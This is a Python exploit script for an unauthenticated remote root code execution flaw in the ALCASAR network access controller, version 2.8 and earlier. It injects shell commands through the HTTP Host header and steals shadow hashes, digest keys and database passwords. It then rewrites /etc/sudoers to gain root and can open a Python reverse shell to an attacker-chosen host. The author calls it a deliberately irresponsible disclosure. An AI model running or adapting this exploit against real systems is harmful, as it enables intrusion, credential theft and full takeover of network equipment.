#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
####
#
# ALCASAR <= 2.8 Remote Root Code Execution Vulnerability
#
# Author: eF
# Date : 2014-02-10
#
#
# db 88 ,ad8888ba, db ad88888ba db 88888888ba
# d88b 88 d8"' `"8b d88b d8" "8b d88b 88 "8b
# d8'`8b 88 d8' d8'`8b Y8, d8'`8b 88 ,8P
# d8' `8b 88 88 d8' `8b `Y8aaaaa, d8' `8b 88aaaaaa8P'
# d8YaaaaY8b 88 88 d8YaaaaY8b `"""""8b, d8YaaaaY8b 88""""88'
# d8""""""""8b 88 Y8, d8""""""""8b `8b d8""""""""8b 88 `8b
# d8' `8b 88 Y8a. .a8P d8' `8b Y8a a8P d8' `8b 88 `8b
# d8' `8b 88888888888 `"Y8888Y"' d8' `8b "Y88888P" d8' `8b 88 `8b
#
#
# ALCASAR is a free Network Access Controller which controls the Internet
# consultation networks. It authenticates, attributes and protects users'
# access regardless their connected equipment (PC, Pokédex, game console,
# etc.).
#
#
# ALCASAR Web UI, accessible by any unauthenticated user, suffers from a
# trivial vulnerability. In the "index.php" file:
#
# $pattern = preg_replace('/www./','',$_SERVER['HTTP_HOST']);
# exec("grep -Re ^$pattern$ /etc/dansguardian/lists/blacklists/*/domains|cut -d'/' -f6", $output);
#
# By sending a specially crafted value in the "host" HTTP header, it is possible
# to inject the exec() function in order to execute commands as Apache user.
#
# In addition, the Apache user is able to call sudo for these binaries:
#
# /sbin/ip,/sbin/arping,/sbin/arp,/usr/sbin/arpscan,/usr/sbin/tcpdump,/usr/local/bin/alcasar-watchdog.sh,/usr/local/sbin/alcasar-dhcp.sh
# /usr/local/bin/alcasar-conf.sh
# /usr/local/sbin/alcasar-mysql.sh
# /usr/local/sbin/alcasar-bl.sh,/usr/local/sbin/alcasar-havp.sh,/usr/local/bin/alcasar-file-clean.sh,/usr/local/sbin/alcasar-url_filter.sh
# /usr/local/sbin/alcasar-nf.sh,/usr/local/bin/alcasar-iptables.sh,/usr/sbin/ipset
# /usr/local/bin/alcasar-archive.sh
# /usr/bin/radwho,/usr/sbin/chilli_query
# /usr/local/sbin/alcasar-logout.sh
# /sbin/service,/usr/bin/killall,/sbin/chkconfig,/bin/systemctl
# /usr/bin/openssl
#
# As a result, we can use /usr/bin/openssl to read a file as root:
#
# sudo /usr/bin/openssl base64 -in /etc/shadow -A | base64 -d
#
# Or to create or overwrite files as root (create a cron job, edit /etc/sudoers, etc.):
#
# echo cHduZWQK | sudo /usr/bin/openssl base64 -d -out /etc/cron.d/pwned
#
# In this exploit, I choose to modify the "sudoers" file.
#
# Note: this vulnerability has been discovered in less than 30 seconds.
# Others vulnerabilities are still present. This code has never been audited...
# The PHP code is dreadful and needs to be rewritten from scratch.
#
# Example (post-auth) in file acc/admin/activity.php:
#
# if (isset($_POST['action'])){
# switch ($_POST['action']){
# case 'user_disconnect' :
# exec ("sudo /usr/sbin/chilli_query logout $_POST[mac_addr]");
#
#
# This is not a responsible disclosure coz' I have no sense of ethics and I couldn't care less.
#
#
# % python alcasar-2.8_rce.py alcasar.localdomain "alcasar-version.sh"
#
# [+] Hello, first here are some passwords for you:
# Password to protect the boot menu (GRUB) : cV9eEz1g
# Name and password of Mysql/mariadb administrator : root / FvYPr7b3
# Name and password of Mysql/mariadb user : radius / oRNln64j
# Shared secret between the script 'intercept.php' and coova-chilli : b9Rj34jz
# Shared secret between coova-chilli and FreeRadius : 7tIrnkJu
#
# root:$2a$08$Aw4yIxQIUJ0taDjiXKSRYu6zZB5eUcbZ4445vo1157AdeGSfe1XuC:16319:0:99999:7:::
#
# [...]
#
# admin:alcasar.localdomain:49b8642b4646a4afa38cda065f76ce0e
#
# username value
# user $1$passwd$qr0Ajhr12fZ475a2qAZ.H.
#
# [-] whoami (should be apache):
# uid=495(apache) gid=492(apache) groups=492(apache)
#
# [+] On the way to the uid 0...
# [-] Got root?
# uid=0(root) gid=0(root) groups=0(root)
#
# [+] Your command Sir:
# The Running version (2.8) is up to date
#
#
####
import sys, os, re, httplib
class PWN_Alcasar:
def __init__(self, host):
self.host = host
self.root = False
def exec_cmd(self, cmd, output=False):
tag = os.urandom(4).encode('hex')
cmd = 'bash -c "%s" 2>&1' % cmd.replace('"', '\\"')
if self.root:
cmd = 'sudo %s' % cmd
headers = {
'host' : 'aAaAa index.php;echo %s;echo %s|base64 -d -w0|sh|base64 -w0;#' % (tag, cmd.encode('base64').replace('\n',''))
}
c = httplib.HTTPConnection(self.host)
c.request('GET', '/index.php', '', headers)
r = c.getresponse()
data = r.read()
c.close()
if data.find(tag) != -1:
m = re.search(r'%s, (.*)\s</div>' % tag, data)
if m:
data = m.group(1).decode('base64')
if output:
print data
return data
return None
def read_file(self, filepath, output=True):
return self.exec_cmd('sudo openssl base64 -in %s -A|base64 -d' % filepath, output=output)
def read_passwords(self):
self.read_file('/root/ALCASAR-passwords.txt')
self.read_file('/etc/shadow')
self.read_file('/usr/local/etc/digest/key_all')
self.read_file('/usr/local/etc/digest/key_admin')
self.read_file('/usr/local/etc/digest/key_backup')
self.read_file('/usr/local/etc/digest/key_manager')
self.read_file('/usr/local/etc/digest/key_only_admin')
self.read_file('/usr/local/etc/digest/key_only_backup')
self.read_file('/usr/local/etc/digest/key_only_manager')
alcasar_mysql = self.read_file('/usr/local/sbin/alcasar-mysql.sh', output=False)
if alcasar_mysql:
m = re.search(r'radiuspwd="(.*)"', alcasar_mysql)
if m:
radiuspwd = m.group(1)
sql = 'SELECT username,value FROM radcheck WHERE attribute like \'%%password%%\''
self.exec_cmd('mysql -uradius -p\"%s\" radius -e "%s"' % (radiuspwd, sql), output=True)
def edit_sudoers(self):
self.exec_cmd('sudo openssl base64 -in /etc/sudoers -out /tmp/sudoers.b64')
self.exec_cmd('openssl base64 -d -in /tmp/sudoers.b64 -out /tmp/sudoers')
self.exec_cmd('sed -i s/BL,NF/BL,ALL,NF/g /tmp/sudoers')
self.exec_cmd('sudo openssl base64 -in /tmp/sudoers -out /tmp/sudoers.b64')
self.exec_cmd('sudo openssl base64 -d -in /tmp/sudoers.b64 -out /etc/sudoers')
self.exec_cmd('sudo rm -f /tmp/sudoers*')
self.root = True
def reverse_shell(self, rip, rport='80'):
payload = 'import socket,subprocess,os;'
payload += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
payload += 's.connect((\'%s\',%s));' % (rip, rport)
payload += 'os.dup2(s.fileno(),0);'
payload += 'os.dup2(s.fileno(),1);'
payload += 'os.dup2(s.fileno(),2);'
payload += 'p=subprocess.call([\'/bin/sh\',\'-i\']);'
return self.exec_cmd('python -c "%s"' % payload)
def usage():
print 'Usage: %s host command (ip) (port)' % sys.argv[0]
print ' "command" can be a shell command or "reverseshell"'
sys.exit(0)
if __name__ == '__main__':
if len(sys.argv) < 3:
usage()
cmd = sys.argv[2]
if cmd == 'reverseshell':
if len(sys.argv) < 5:
print '[!] Need IP and port for the reverse shell...'
sys.exit(0)
rip = sys.argv[3]
rport = sys.argv[4] # 80 is a good one...
exploit = PWN_Alcasar(sys.argv[1])
print '[+] Hello, first here are some passwords for you:'
exploit.read_passwords()
print '[-] whoami (should be apache):'
exploit.exec_cmd('id', output=True)
print '[+] On the way to the uid 0...'
exploit.edit_sudoers()
print '[-] Got root?'
exploit.exec_cmd('id', output=True)
if cmd == 'reverseshell':
print '[+] You should now have a shell on %s:%s' % (rip, rport)
exploit.reverse_shell(rip, rport)
else:
print '[+] Your command Sir:'
exploit.exec_cmd(cmd, output=True)
sys.exit(1)
